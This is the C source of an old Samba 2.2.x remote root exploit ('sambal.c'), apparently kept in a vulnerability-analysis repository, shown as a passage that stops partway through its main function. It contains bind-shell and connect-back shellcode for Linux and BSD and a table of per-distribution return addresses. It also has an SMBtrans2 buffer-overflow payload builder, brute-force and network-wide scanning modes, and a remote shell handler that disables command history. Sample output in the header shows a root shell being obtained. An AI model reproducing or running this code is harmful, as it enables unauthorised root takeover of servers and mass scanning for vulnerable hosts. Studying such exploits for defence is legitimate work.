lilbool/vuln-code-analysis
0
1/*
2 Remote root exploit for Samba 2.2.x and prior that works against
3 Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and
4 OpenBSD (2.x, 3.x and 3.2 non-executable stack).
5 sambal.c is able to identify samba boxes. It will send a netbios
6 name packet to port 137. If the box responds with the mac address
7 00-00-00-00-00-00, it's probally running samba.
8
9 [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
10 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
11 --------------------------------------------------------------
12 + Scan mode.
13 + [192.168.0.3] Samba
14 + [192.168.0.10] Windows
15 + [192.168.0.20] Windows
16 + [192.168.0.21] Samba
17 + [192.168.0.30] Windows
18 + [192.168.0.31] Samba
19 + [192.168.0.33] Windows
20 + [192.168.0.35] Windows
21 + [192.168.0.36] Windows
22 + [192.168.0.37] Windows
23 ...
24 + [192.168.0.133] Samba
25
26 Great!
27 You could now try a preset (-t0 for a list), but most of the
28 time bruteforce will do. The smbd spawns a new process on every
29 connect, so we can bruteforce the return address...
30
31 [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
32 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
33 --------------------------------------------------------------
34 + Verbose mode.
35 + Bruteforce mode. (Linux)
36 + Using ret: [0xbffffed4]
37 + Using ret: [0xbffffda8]
38 + Using ret: [0xbffffc7c]
39 + Using ret: [0xbffffb50]
40 + Using ret: [0xbffffa24]
41 + Using ret: [0xbffff8f8]
42 + Using ret: [0xbffff7cc]
43 + Worked!
44 --------------------------------------------------------------
45 Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
46 i586 i386 GNU/Linux
47 uid=0(root) gid=0(root) groups=99(nobody)
48
49sambal.c : samba-2.2.8 < remote root exploit by eSDee (www.netric.org|
50
51*/
52
53#include <stdio.h>
54#include <string.h>
55#include <stdlib.h>
56#include <netdb.h>
57#include <errno.h>
58#include <fcntl.h>
59#include <signal.h>
60#include <string.h>
61#include <unistd.h>
62#include <sys/select.h>
63#include <sys/socket.h>
64#include <sys/types.h>
65#include <sys/time.h>
66#include <sys/wait.h>
67#include <netinet/in.h>
68#include <arpa/inet.h>
69
70typedef struct {
71 unsigned char type;
72 unsigned char flags;
73 unsigned short length;
74} NETBIOS_HEADER;
75
76typedef struct {
77 unsigned char protocol[4];
78 unsigned char command;
79 unsigned short status;
80 unsigned char reserved;
81 unsigned char flags;
82 unsigned short flags2;
83 unsigned char pad[12];
84 unsigned short tid;
85 unsigned short pid;
86 unsigned short uid;
87 unsigned short mid;
88} SMB_HEADER;
89
90int OWNED = 0;
91pid_t childs[100];
92struct sockaddr_in addr1;
93struct sockaddr_in addr2;
94
95char linux_bindcode[] =
96 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
97 "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
98 "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
99 "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
100 "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
101 "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
102 "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
103 "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
104 "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
105 "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
106 "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
107 "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
108 "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
109
110char bsd_bindcode[] =
111 "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
112 "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
113 "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
114 "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
115 "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
116 "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
117 "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
118 "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
119 "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
120 "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
121 "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
122 "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
123 "\xeb\x9a";
124
125char linux_connect_back[] =
126 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
127 "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
128 "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
129 "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
130 "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
131 "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
132 "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
133 "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
134 "\x01\xcd\x80";
135
136char bsd_connect_back[] =
137 "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
138 "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
139 "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
140 "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
141 "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
142 "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
143 "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
144 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
145
146
147
148struct {
149 char *type;
150 unsigned long ret;
151 char *shellcode;
152 int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */
153
154} targets[] = {
155 { "samba-2.2.x - Debian 3.0 ", 0xbffffea2, linux_bindcode, 0 },
156 { "samba-2.2.x - Gentoo 1.4.x ", 0xbfffe890, linux_bindcode, 0 },
157 { "samba-2.2.x - Mandrake 8.x ", 0xbffff6a0, linux_bindcode, 0 },
158 { "samba-2.2.x - Mandrake 9.0 ", 0xbfffe638, linux_bindcode, 0 },
159 { "samba-2.2.x - Redhat 9.0 ", 0xbffff7cc, linux_bindcode, 0 },
160 { "samba-2.2.x - Redhat 8.0 ", 0xbffff2f0, linux_bindcode, 0 },
161 { "samba-2.2.x - Redhat 7.x ", 0xbffff310, linux_bindcode, 0 },
162 { "samba-2.2.x - Redhat 6.x ", 0xbffff2f0, linux_bindcode, 0 },
163 { "samba-2.2.x - Slackware 9.0 ", 0xbffff574, linux_bindcode, 0 },
164 { "samba-2.2.x - Slackware 8.x ", 0xbffff574, linux_bindcode, 0 },
165 { "samba-2.2.x - SuSE 7.x ", 0xbffffbe6, linux_bindcode, 0 },
166 { "samba-2.2.x - SuSE 8.x ", 0xbffff8f8, linux_bindcode, 0 },
167 { "samba-2.2.x - FreeBSD 5.0 ", 0xbfbff374, bsd_bindcode, 1 },
168 { "samba-2.2.x - FreeBSD 4.x ", 0xbfbff374, bsd_bindcode, 1 },
169 { "samba-2.2.x - NetBSD 1.6 ", 0xbfbfd5d0, bsd_bindcode, 1 },
170 { "samba-2.2.x - NetBSD 1.5 ", 0xbfbfd520, bsd_bindcode, 1 },
171 { "samba-2.2.x - OpenBSD 3.2 ", 0x00159198, bsd_bindcode, 2 },
172 { "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode, 2 },
173 { "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode, 2 },
174 { "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode, 2 },
175 { "Crash (All platforms) ", 0xbade5dee, linux_bindcode, 0 },
176};
177
178void shell();
179void usage();
180void handler();
181
182int is_samba(char *ip, unsigned long time_out);
183int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
184int read_timer(int fd, unsigned int time_out);
185int write_timer(int fd, unsigned int time_out);
186int start_session(int sock);
187int exploit_normal(int sock, unsigned long ret, char *shellcode);
188int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);
189
190void usage(char *prog)
191{
192 fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"
193 "-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"
194 "-B <step> bruteforce steps (default = 300)\n"
195 "-c <ip address> connectback ip address\n"
196 "-C <max childs> max childs for scan/bruteforce mode (default = 40)\n"
197 "-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)\n"
198 "-f force\n"
199 "-p <port> port to attack (default = 139)\n"
200 "-r <ret> return address\n"
201 "-s scan mode (random)\n"
202 "-S <network> scan mode\n"
203 "-t <type> presets (0 for a list)\n"
204 "-v verbose mode\n\n", prog);
205
206 exit(1);
207}
208
209int is_samba(char *ip, unsigned long time_out)
210{
211 char
212 nbtname[]= /* netbios name packet */
213 {
214 0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
215 0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
216 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
217 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
218 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
219 0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
220 0x00,0x01
221 };
222
223 unsigned char recv_buf[1024];
224 unsigned char *ptr;
225
226 int i = 0;
227 int s = 0;
228
229 unsigned int total = 0;
230
231 if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;
232
233 if(Connect(s, ip, 137, time_out) == -1) {
234 close(s);
235 return -1;
236 }
237
238 memset(recv_buf, 0x00, sizeof(recv_buf));
239
240 if(write_timer(s, time_out) == 1) {
241 if (write(s, nbtname, sizeof(nbtname)) <= 0) {
242 close(s);
243 return -1;
244 }
245 }
246
247 if (read_timer(s, time_out) == 1) {
248 if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
249 close(s);
250 return -1;
251 }
252
253 ptr = recv_buf + 57;
254 total = *(ptr - 1); /* max names */
255
256 while(ptr < recv_buf + sizeof(recv_buf)) {
257 ptr += 18;
258 if (i == total) {
259
260 ptr -= 19;
261
262 if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 && *(ptr + 3) == 0x00 &&
263 *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {
264 close(s);
265 return 0;
266 }
267
268 close(s);
269 return 1;
270 }
271
272 i++;
273 }
274
275 }
276 close(s);
277 return -1;
278}
279
280int Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
281{
282 /* ripped from no1 */
283
284 int flags;
285 int select_status;
286 fd_set connect_read, connect_write;
287 struct timeval timeout;
288 int getsockopt_length = 0;
289 int getsockopt_error = 0;
290 struct sockaddr_in server;
291 bzero(&server, sizeof(server));
292 server.sin_family = AF_INET;
293 inet_pton(AF_INET, ip, &server.sin_addr);
294 server.sin_port = htons(port);
295
296 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
297 close(fd);
298 return -1;
299 }
300
301 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
302 close(fd);
303 return -1;
304 }
305
306 timeout.tv_sec = time_out;
307 timeout.tv_usec = 0;
308 FD_ZERO(&connect_read);
309 FD_ZERO(&connect_write);
310 FD_SET(fd, &connect_read);
311 FD_SET(fd, &connect_write);
312
313 if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
314 if(errno != EINPROGRESS) {
315 close(fd);
316 return -1;
317 }
318 }
319 else {
320 if(fcntl(fd, F_SETFL, flags) < 0) {
321 close(fd);
322 return -1;
323 }
324
325 return 1;
326
327 }
328
329 select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);
330
331 if(select_status == 0) {
332 close(fd);
333 return -1;
334
335 }
336
337 if(select_status == -1) {
338 close(fd);
339 return -1;
340 }
341
342 if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
343 if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write))
344 {
345 getsockopt_length = sizeof(getsockopt_error);
346
347 if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {
348 errno = ETIMEDOUT;
349 close(fd);
350 return -1;
351 }
352
353 if(getsockopt_error == 0) {
354 if(fcntl(fd, F_SETFL, flags) < 0) {
355 close(fd);
356 return -1;
357 }
358 return 1;
359 }
360
361 else {
362 errno = getsockopt_error;
363 close(fd);
364 return (-1);
365 }
366
367 }
368 }
369 else {
370 close(fd);
371 return 1;
372 }
373
374 if(fcntl(fd, F_SETFL, flags) < 0) {
375 close(fd);
376 return -1;
377 }
378 return 1;
379}
380
381int read_timer(int fd, unsigned int time_out)
382{
383
384 /* ripped from no1 */
385
386 int flags;
387 int select_status;
388 fd_set fdread;
389 struct timeval timeout;
390
391 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
392 close(fd);
393 return (-1);
394 }
395
396 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
397 close(fd);
398 return (-1);
399 }
400
401 timeout.tv_sec = time_out;
402 timeout.tv_usec = 0;
403 FD_ZERO(&fdread);
404 FD_SET(fd, &fdread);
405 select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
406
407 if(select_status == 0) {
408 close(fd);
409 return (-1);
410 }
411
412 if(select_status == -1) {
413 close(fd);
414 return (-1);
415 }
416
417 if(FD_ISSET(fd, &fdread)) {
418
419 if(fcntl(fd, F_SETFL, flags) < 0) {
420 close(fd);
421 return -1;
422 }
423
424 return 1;
425
426 }
427 else {
428 close(fd);
429 return 1;
430
431 }
432}
433
434int write_timer(int fd, unsigned int time_out)
435{
436
437 /* ripped from no1 */
438
439 int flags;
440 int select_status;
441 fd_set fdwrite;
442 struct timeval timeout;
443
444 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
445 close(fd);
446 return (-1);
447 }
448
449 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
450 close(fd);
451 return (-1);
452 }
453
454 timeout.tv_sec = time_out;
455 timeout.tv_usec = 0;
456 FD_ZERO(&fdwrite);
457 FD_SET(fd, &fdwrite);
458
459 select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
460
461 if(select_status == 0) {
462 close(fd);
463 return -1;
464 }
465
466 if(select_status == -1) {
467 close(fd);
468 return -1;
469 }
470
471 if(FD_ISSET(fd, &fdwrite)) {
472 if(fcntl(fd, F_SETFL, flags) < 0) {
473 close(fd);
474 return -1;
475 }
476 return 1;
477 }
478 else {
479 close(fd);
480 return -1;
481 }
482}
483
484
485void shell(int sock)
486{
487 fd_set fd_read;
488 char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n";
489 int n;
490
491 FD_ZERO(&fd_read);
492 FD_SET(sock, &fd_read);
493 FD_SET(0, &fd_read);
494
495 send(sock, cmd, strlen(cmd), 0);
496
497 while(1) {
498 FD_SET(sock,&fd_read);
499 FD_SET(0,&fd_read);
500
501 if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
502
503 if (FD_ISSET(sock, &fd_read)) {
504
505 if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
506 fprintf(stderr, "EOF\n");
507 exit(2);
508 }
509
510 if (write(1, buff, n) < 0) break;
511 }
512
513 if (FD_ISSET(0, &fd_read)) {
514
515 if((n = read(0, buff, sizeof(buff))) < 0){
516 fprintf(stderr, "EOF\n");
517 exit(2);
518 }
519
520 if (send(sock, buff, n, 0) < 0) break;
521 }
522
523 usleep(10);
524 }
525
526 fprintf(stderr, "Connection lost.\n\n");
527 exit(0);
528}
529
530void handler()
531{
532 int sock = 0;
533 int i = 0;
534 OWNED = 1;
535
536 for (i = 0; i < 100; i++)
537 if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);
538
539 if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
540 close(sock);
541 exit(1);
542 }
543
544 if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
545 fprintf(stdout, "+ Worked!\n"
546 "--------------------------------------------------------------\n");
547 shell(sock);
548 close(sock);
549 }
550
551
552}
553
554int start_session(int sock)
555{
556 char buffer[1000];
557 char response[4096];
558 char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";
559 char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"
560 "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
561
562 NETBIOS_HEADER *netbiosheader;
563 SMB_HEADER *smbheader;
564
565 memset(buffer, 0x00, sizeof(buffer));
566
567 netbiosheader = (NETBIOS_HEADER *)buffer;
568 smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
569
570 netbiosheader->type = 0x00; /* session message */
571 netbiosheader->flags = 0x00;
572 netbiosheader->length = htons(0x2E);
573
574 smbheader->protocol[0] = 0xFF;
575 smbheader->protocol[1] = 'S';
576 smbheader->protocol[2] = 'M';
577 smbheader->protocol[3] = 'B';
578 smbheader->command = 0x73; /* session setup */
579 smbheader->flags = 0x08; /* caseless pathnames */
580 smbheader->flags2 = 0x01; /* long filenames supported */
581 smbheader->pid = getpid() & 0xFFFF;
582 smbheader->uid = 100;
583 smbheader->mid = 0x01;
584
585 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);
586
587 if(write_timer(sock, 3) == 1)
588 if (send(sock, buffer, 50, 0) < 0) return -1;
589
590 memset(response, 0x00, sizeof(response));
591
592 if (read_timer(sock, 3) == 1)
593 if (read(sock, response, sizeof(response) - 1) < 0) return -1;
594
595 netbiosheader = (NETBIOS_HEADER *)response;
596 smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
597
598 if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");
599
600 netbiosheader = (NETBIOS_HEADER *)buffer;
601 smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
602
603 memset(buffer, 0x00, sizeof(buffer));
604
605 netbiosheader->type = 0x00; /* session message */
606 netbiosheader->flags = 0x00;
607 netbiosheader->length = htons(0x3C);
608
609 smbheader->protocol[0] = 0xFF;
610 smbheader->protocol[1] = 'S';
611 smbheader->protocol[2] = 'M';
612 smbheader->protocol[3] = 'B';
613 smbheader->command = 0x70; /* start connection */
614 smbheader->pid = getpid() & 0xFFFF;
615 smbheader->tid = 0x00;
616 smbheader->uid = 100;
617
618 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);
619
620 if(write_timer(sock, 3) == 1)
621 if (send(sock, buffer, 64, 0) < 0) return -1;
622
623 memset(response, 0x00, sizeof(response));
624
625 if (read_timer(sock, 3) == 1)
626 if (read(sock, response, sizeof(response) - 1) < 0) return -1;
627
628 netbiosheader = (NETBIOS_HEADER *)response;
629 smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
630
631 if (netbiosheader->type != 0x00) return -1;
632
633 return 0;
634}
635
636int exploit_normal(int sock, unsigned long ret, char *shellcode)
637{
638
639 char buffer[4000];
640 char exploit_data[] =
641 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
642 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
643 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
644 "\x00\x00\x00\x90";
645
646 int i = 0;
647 unsigned long dummy = ret - 0x90;
648
649 NETBIOS_HEADER *netbiosheader;
650 SMB_HEADER *smbheader;
651
652 memset(buffer, 0x00, sizeof(buffer));
653
654 netbiosheader = (NETBIOS_HEADER *)buffer;
655 smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
656
657 netbiosheader->type = 0x00; /* session message */
658 netbiosheader->flags = 0x04;
659 netbiosheader->length = htons(2096);
660
661 smbheader->protocol[0] = 0xFF;
662 smbheader->protocol[1] = 'S';
663 smbheader->protocol[2] = 'M';
664 smbheader->protocol[3] = 'B';
665 smbheader->command = 0x32; /* SMBtrans2 */
666 smbheader->tid = 0x01;
667 smbheader->uid = 100;
668
669 memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
670
671 buffer[1096] = 0xEB;
672 buffer[1097] = 0x70;
673
674 for (i = 0; i < 4 * 24; i += 8) {
675 memcpy(buffer + 1099 + i, &dummy, 4);
676 memcpy(buffer + 1103 + i, &ret, 4);
677 }
678
679 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
680 exploit_data, sizeof(exploit_data) - 1);
681 memcpy(buffer + 1800, shellcode, strlen(shellcode));
682
683 if(write_timer(sock, 3) == 1) {
684 if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
685 return 0;
686 }
687
688 return -1;
689}
690
691int exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
692{
693 char buffer[4000];
694
695 char exploit_data[] =
696 "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
697 "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
698 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
699 "\x00\x00\x00\x90";
700
701 int i = 0;
702 unsigned long dummy = ret - 0x30;
703 NETBIOS_HEADER *netbiosheader;
704 SMB_HEADER *smbheader;
705
706 memset(buffer, 0x00, sizeof(buffer));
707
708 netbiosheader = (NETBIOS_HEADER *)buffer;
709 smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
710
711 netbiosheader->type = 0x00; /* session message */
712 netbiosheader->flags = 0x04;
713 netbiosheader->length = htons(2096);
714
715 smbheader->protocol[0] = 0xFF;
716 smbheader->protocol[1] = 'S';
717 smbheader->protocol[2] = 'M';
718 smbheader->protocol[3] = 'B';
719 smbheader->command = 0x32; /* SMBtrans2 */
720 smbheader->tid = 0x01;
721 smbheader->uid = 100;
722
723 memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);
724
725 for (i = 0; i < 4 * 24; i += 4)
726 memcpy(buffer + 1131 + i, &dummy, 4);
727
728 memcpy(buffer + 1127, &ret, 4);
729
730 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
731 exploit_data, sizeof(exploit_data) - 1);
732
733 memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
734
735 if(write_timer(sock, 3) == 1) {
736 if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
737 return 0;
738 }
739
740 return -1;
741}
742
743
744int main (int argc,char *argv[])
745{
746 char *shellcode = NULL;
747 char scan_ip[256];
748
749 int brute = -1;
750 int connectback = 0;
751 int force = 0;
752 int i = 0;
753 int ip1 = 0;
754 int ip2 = 0;
755 int ip3 = 0;
756 int ip4 = 0;
757 int opt = 0;
758 int port = 139;
759 int random = 0;
760 int scan = 0;
761 int sock = 0;
762 int sock2 = 0;
763 int status = 0;
764 int type = 0;
765 int verbose = 0;
766
767 unsigned long BRUTE_DELAY = 100000;
768 unsigned long ret = 0x0;
769 unsigned long MAX_CHILDS = 40;
770 unsigned long STEPS = 300;
771
772 struct hostent *he;
773
774 fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"
775 "--------------------------------------------------------------\n");
776
777 while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
778 switch(opt)
779 {
780 case 'b':
781 brute = atoi(optarg);
782 if ((brute < 0) || (brute > 3)) {
783 fprintf(stderr, "Invalid platform.\n\n");
784 return -1;
785 }
786 break;
787 case 'B':
788 STEPS = atoi(optarg);
789 if (STEPS == 0) STEPS++;
790 break;
791 case 'c':
792 sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
793 connectback = 1;
794
795 if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
796 fprintf(stderr, "Invalid IP address.\n\n");
797 return -1;
798 }
799
800 linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;
801 linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;
802 linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;
803 linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;
804
805 break;
806 case 'C':
807 MAX_CHILDS = atoi(optarg);
808 if (MAX_CHILDS == 0) {
809 fprintf(stderr, "Invalid number of childs.\n");
810 return -1;
811 }
812
813 if (MAX_CHILDS > 99) {
814 fprintf(stderr, "Too many childs, using 99. \n");
815 MAX_CHILDS = 99;
816 }
817
818 break;
819 case 'd':
820 BRUTE_DELAY = atoi(optarg);
821 break;
822 case 'f':
823 force = 1;
824 break;
825 case 'p':
826 port = atoi(optarg);
827 if ((port <= 0) || (port > 65535)) {
828 fprintf(stderr, "Invalid port.\n\n");
829 return -1;
830 }
831 break;
832 case 'r':
833 ret = strtoul(optarg, &optarg, 16);
834 break;
835 case 's':
836 random = 1;
837 scan = 1;
838 break;
839 case 'S':
840 random = 0;
841 scan = 1;
842 sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
843 ip3--;
844 break;
845 case 't':
846 type = atoi(optarg);
847 if (type == 0 || type > sizeof(targets) / 16) {
848 for(i = 0; i < sizeof(targets) / 16; i++)
849 fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1, targets[i].type, (unsigned int) targets[i].ret);
850 fprintf(stderr, "\n");
851 return -1;
852 }
853 break;
854 case 'v':
855 verbose = 1;
856 break;
857 default:
858 usage(argv[0] == NULL ? "sambal" : argv[0]);
859 break;
860 }
861
862 }
863
864 if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0))
865 usage(argv[0] == NULL ? "sambal" : argv[0]);
866
867 if (scan == 1)
868 fprintf(stdout, "+ Scan mode.\n");
869 if (verbose == 1)
870 fprintf(stdout, "+ Verbose mode.\n");
871
872 if (scan == 1) {
873
874 srand(getpid());
875
876 while (1) {
877
878 if (random == 1) {
879 ip1 = rand() % 255;
880 ip2 = rand() % 255;
881 ip3 = rand() % 255; }
882 else {
883 ip3++;
884 if (ip3 > 254) { ip3 = 1; ip2++; }
885 if (ip2 > 254) { ip2 = 1; ip1++; }
886 if (ip1 > 254) exit(0);
887 }
888
889 for (ip4 = 0; ip4 < 255; ip4++) {
890 i++;
891 snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);
892 usleep(BRUTE_DELAY);
893
894 switch (fork()) {
895 case 0:
896 switch(is_samba(scan_ip, 2)) {
897 case 0:
898 fprintf(stdout, "+ [%s] Samba\n", scan_ip);
899 break;
900 case 1:
901 fprintf(stdout, "+ [%s] Windows\n", scan_ip);
902 break;
903 default:
904 break;
905 }
906
907 exit(0);
908 break;
909 case -1:
910 fprintf(stderr, "+ fork() error\n");
911 exit(-1);
